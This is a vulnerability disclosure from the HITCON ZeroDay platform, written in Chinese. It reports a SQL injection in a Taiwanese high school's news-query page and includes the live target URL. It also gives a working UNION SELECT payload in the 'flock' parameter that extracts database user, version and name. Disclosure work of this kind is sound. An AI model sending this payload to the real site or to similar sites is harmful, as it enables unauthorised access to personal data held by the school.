Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00047
- Vendor: 國立關西高中
- Title: 國立關西高中 最新消息查詢存在SQL Injection漏洞
- Introduction: SQL Injection
處理狀態
目前狀態
公開
Last Update : 2017/03/13
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2017/01/12 15:38:34 : 新提交 (由 鄉民 更新此狀態)
- 2017/01/14 21:26:16 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/02/02 16:10:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/02/02 16:10:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/03/13 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2017-00047
- 通報者:鄉民
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.khvs.hcc.edu.tw/ischool/widget/site_news/news_query_json.php?field=time&order=DESC&pageNum=0&maxRows=10&keyword=a&flock=unit_1-attr_1&uid=WID_0_2_029c72cfb92004f23d3e2237d5ac434852344448&tf=1&auth_type=user
敘述
網址中有多個參數均能進行注入,但因其串接方式會有些限制,
此處以其中一個參數flock=unit_1-attr_1作範例,
經過測試發現此參數會直接取代為SQL的條件句「unit=1 AND attr=1」,
故直接注入「flock=unit_2 union select user(),2,3,version(),database(),6,7,8,9,10,11,12,13#-attr_1」。
擷圖
留言討論
登入後留言